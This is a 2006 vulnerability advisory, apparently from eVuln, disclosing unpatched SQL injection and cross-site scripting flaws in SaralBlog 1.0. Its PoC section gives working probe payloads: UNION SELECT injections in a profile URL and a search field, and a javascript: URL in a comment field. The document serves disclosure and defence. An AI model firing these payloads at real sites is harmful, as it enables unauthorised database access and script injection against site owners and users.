XSS and Multiple SQL Injection in SaralBlog

Summary

Vulnerability
XSS and Multiple SQL Injection in SaralBlog
Discovered
2006.01.18
Last Update
0 n/a
ID
EV0040
CVE
CVE-2006-0345 CVE-2006-0346
Risk Level
medium
Type
Multiple Vulnerabilities
Status
Unpatched
Vendor
n/a
Vulnerable Software
SaralBlog (http://www.saralblog.org/)
Version
1.0
PoC/Exploit
Available
Solution
Not available
Discovered by
Aliaksandr Hartsuyeu (eVuln.com)

Description

Multiple Vulnerabilities found in SaralBlog (http://www.saralblog.org/) script.

1. Most of user defined data isn't properly sanitized. This can be used to make any SQL query by injecting arbitrary SQL code.


2. Cross-Site Scripting is possible.

Vulnerable script: view.php
Variable $website isn't properly sanitized. This can be used to insert arbitrary javascript code.

PoC/Exploit

1. SQL Injection Example
http://host/viewprofile.php?id=999%20union%20select%201,2,3,4,5,6,7/*


2. SQL Injection Example (gpc_magic_quotes: off)

Search:
aaaaa') union select 1,2,3,4,5,6/*


3. Cross-Site Scripting

Adding new comment:
Website: javascript:alert(123)

Solution.

Solution for "XSS and Multiple SQL Injection in SaralBlog" is not available. Check vendor's website for updates.